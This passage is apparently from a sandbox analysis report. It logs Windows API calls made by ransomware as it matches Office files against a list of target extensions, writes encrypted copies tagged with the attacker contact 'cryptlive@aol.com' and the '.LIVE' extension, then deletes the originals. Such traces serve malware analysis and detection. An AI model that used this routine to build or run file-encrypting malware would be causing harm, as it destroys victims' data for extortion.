(lpString=".rar") returned 4 [0141.307] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0141.307] lstrlenW (lpString=".bz2") returned 4 [0141.307] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0141.307] lstrlenW (lpString=".7z") returned 3 [0141.307] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0141.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.307] lstrlenW (lpString=".dbf") returned 4 [0141.307] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0141.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.307] lstrlenW (lpString=".1cd") returned 4 [0141.307] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0141.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.307] lstrlenW (lpString=".jpg") returned 4 [0141.307] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0141.307] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0141.307] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0141.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.307] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=110) returned 1 [0141.308] CloseHandle (hObject=0x1f8) returned 1 [0141.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 0x20 [0141.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.308] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.308] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.309] GetLastError () returned 0x0 [0141.309] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x6e, lpOverlapped=0x0) returned 1 [0141.310] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x70, lpOverlapped=0x0) returned 1 [0141.310] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.310] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0141.311] SetEndOfFile (hFile=0x1dc) returned 1 [0141.311] CloseHandle (hObject=0x1dc) returned 1 [0141.311] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.311] SetEndOfFile (hFile=0x1f8) returned 1 [0141.316] CloseHandle (hObject=0x1f8) returned 1 [0141.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 1 [0141.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.317] lstrlenW (lpString=".doc") returned 4 [0141.317] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0141.317] lstrlenW (lpString=".docx") returned 5 [0141.317] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0141.317] lstrlenW (lpString=".pdf") returned 4 [0141.317] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0141.317] lstrlenW (lpString=".xls") returned 4 [0141.317] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0141.317] lstrlenW (lpString=".xlsx") returned 5 [0141.317] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0141.317] lstrlenW (lpString=".ppt") returned 4 [0141.317] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0141.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.317] lstrlenW (lpString=".zip") returned 4 [0141.317] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0141.317] lstrlenW (lpString=".rar") returned 4 [0141.317] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString=".bz2") returned 4 [0141.318] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0141.318] lstrlenW (lpString=".7z") returned 3 [0141.318] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.318] lstrlenW (lpString=".dbf") returned 4 [0141.318] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.318] lstrlenW (lpString=".1cd") returned 4 [0141.318] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.318] lstrlenW (lpString=".jpg") returned 4 [0141.318] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.318] lstrlenW (lpString=".doc") returned 4 [0141.318] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0141.318] lstrlenW (lpString=".docx") returned 5 [0141.318] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0141.318] lstrlenW (lpString=".pdf") returned 4 [0141.318] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString=".xls") returned 4 [0141.318] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString=".xlsx") returned 5 [0141.318] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0141.318] lstrlenW (lpString=".ppt") returned 4 [0141.318] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.318] lstrlenW (lpString=".zip") returned 4 [0141.318] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString=".rar") returned 4 [0141.318] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0141.318] lstrlenW (lpString=".bz2") returned 4 [0141.318] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0141.318] lstrlenW (lpString=".7z") returned 3 [0141.318] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0141.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.319] lstrlenW (lpString=".dbf") returned 4 [0141.319] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0141.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.319] lstrlenW (lpString=".1cd") returned 4 [0141.319] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0141.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0141.319] lstrlenW (lpString=".jpg") returned 4 [0141.319] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0141.319] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0141.319] lstrlenW (lpString="HVAC.VSL") returned 8 [0141.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.320] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=36200) returned 1 [0141.320] CloseHandle (hObject=0x1f8) returned 1 [0141.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 0x20 [0141.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.320] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.321] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.321] GetLastError () returned 0x0 [0141.321] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x8d68, lpOverlapped=0x0) returned 1 [0141.323] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x8d70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x8d70, lpOverlapped=0x0) returned 1 [0141.324] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.324] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0141.325] SetEndOfFile (hFile=0x1dc) returned 1 [0141.325] CloseHandle (hObject=0x1dc) returned 1 [0141.325] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.325] SetEndOfFile (hFile=0x1f8) returned 1 [0141.327] CloseHandle (hObject=0x1f8) returned 1 [0141.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 1 [0141.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.328] lstrlenW (lpString=".doc") returned 4 [0141.328] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0141.328] lstrlenW (lpString=".docx") returned 5 [0141.328] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0141.328] lstrlenW (lpString=".pdf") returned 4 [0141.328] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0141.328] lstrlenW (lpString=".xls") returned 4 [0141.328] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0141.328] lstrlenW (lpString=".xlsx") returned 5 [0141.328] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0141.329] lstrlenW (lpString=".ppt") returned 4 [0141.329] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString=".zip") returned 4 [0141.329] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0141.329] lstrlenW (lpString=".rar") returned 4 [0141.329] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString=".bz2") returned 4 [0141.329] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString=".7z") returned 3 [0141.329] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString=".dbf") returned 4 [0141.329] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString=".1cd") returned 4 [0141.329] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString=".jpg") returned 4 [0141.329] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString=".doc") returned 4 [0141.329] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString=".docx") returned 5 [0141.329] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0141.329] lstrlenW (lpString=".pdf") returned 4 [0141.329] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString=".xls") returned 4 [0141.329] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0141.329] lstrlenW (lpString=".xlsx") returned 5 [0141.329] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0141.329] lstrlenW (lpString=".ppt") returned 4 [0141.329] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0141.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.329] lstrlenW (lpString=".zip") returned 4 [0141.329] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0141.330] lstrlenW (lpString=".rar") returned 4 [0141.330] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0141.330] lstrlenW (lpString=".bz2") returned 4 [0141.330] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0141.330] lstrlenW (lpString=".7z") returned 3 [0141.330] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0141.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.330] lstrlenW (lpString=".dbf") returned 4 [0141.330] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0141.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.330] lstrlenW (lpString=".1cd") returned 4 [0141.330] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0141.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0141.330] lstrlenW (lpString=".jpg") returned 4 [0141.330] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0141.330] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0141.330] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0141.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.332] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1919) returned 1 [0141.332] CloseHandle (hObject=0x1f8) returned 1 [0141.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 0x20 [0141.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.332] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.332] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.333] GetLastError () returned 0x0 [0141.333] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x77f, lpOverlapped=0x0) returned 1 [0141.334] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x780, lpOverlapped=0x0) returned 1 [0141.335] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.335] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.335] SetEndOfFile (hFile=0x1dc) returned 1 [0141.335] CloseHandle (hObject=0x1dc) returned 1 [0141.336] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.336] SetEndOfFile (hFile=0x1f8) returned 1 [0141.338] CloseHandle (hObject=0x1f8) returned 1 [0141.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 1 [0141.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.339] lstrlenW (lpString=".doc") returned 4 [0141.339] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString=".docx") returned 5 [0141.339] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0141.339] lstrlenW (lpString=".pdf") returned 4 [0141.339] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString=".xls") returned 4 [0141.339] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0141.339] lstrlenW (lpString=".xlsx") returned 5 [0141.339] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0141.339] lstrlenW (lpString=".ppt") returned 4 [0141.339] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.339] lstrlenW (lpString=".zip") returned 4 [0141.339] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0141.339] lstrlenW (lpString=".rar") returned 4 [0141.339] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString=".bz2") returned 4 [0141.339] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString=".7z") returned 3 [0141.339] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0141.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.339] lstrlenW (lpString=".dbf") returned 4 [0141.339] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.339] lstrlenW (lpString=".1cd") returned 4 [0141.339] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0141.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.339] lstrlenW (lpString=".jpg") returned 4 [0141.340] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.340] lstrlenW (lpString=".doc") returned 4 [0141.340] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString=".docx") returned 5 [0141.340] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0141.340] lstrlenW (lpString=".pdf") returned 4 [0141.340] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString=".xls") returned 4 [0141.340] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0141.340] lstrlenW (lpString=".xlsx") returned 5 [0141.340] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0141.340] lstrlenW (lpString=".ppt") returned 4 [0141.340] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.340] lstrlenW (lpString=".zip") returned 4 [0141.340] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0141.340] lstrlenW (lpString=".rar") returned 4 [0141.340] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString=".bz2") returned 4 [0141.340] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString=".7z") returned 3 [0141.340] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0141.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.340] lstrlenW (lpString=".dbf") returned 4 [0141.340] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.340] lstrlenW (lpString=".1cd") returned 4 [0141.340] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0141.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0141.340] lstrlenW (lpString=".jpg") returned 4 [0141.340] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0141.341] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0141.341] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0141.341] CreateFileW (lpFileName="C:\\Program 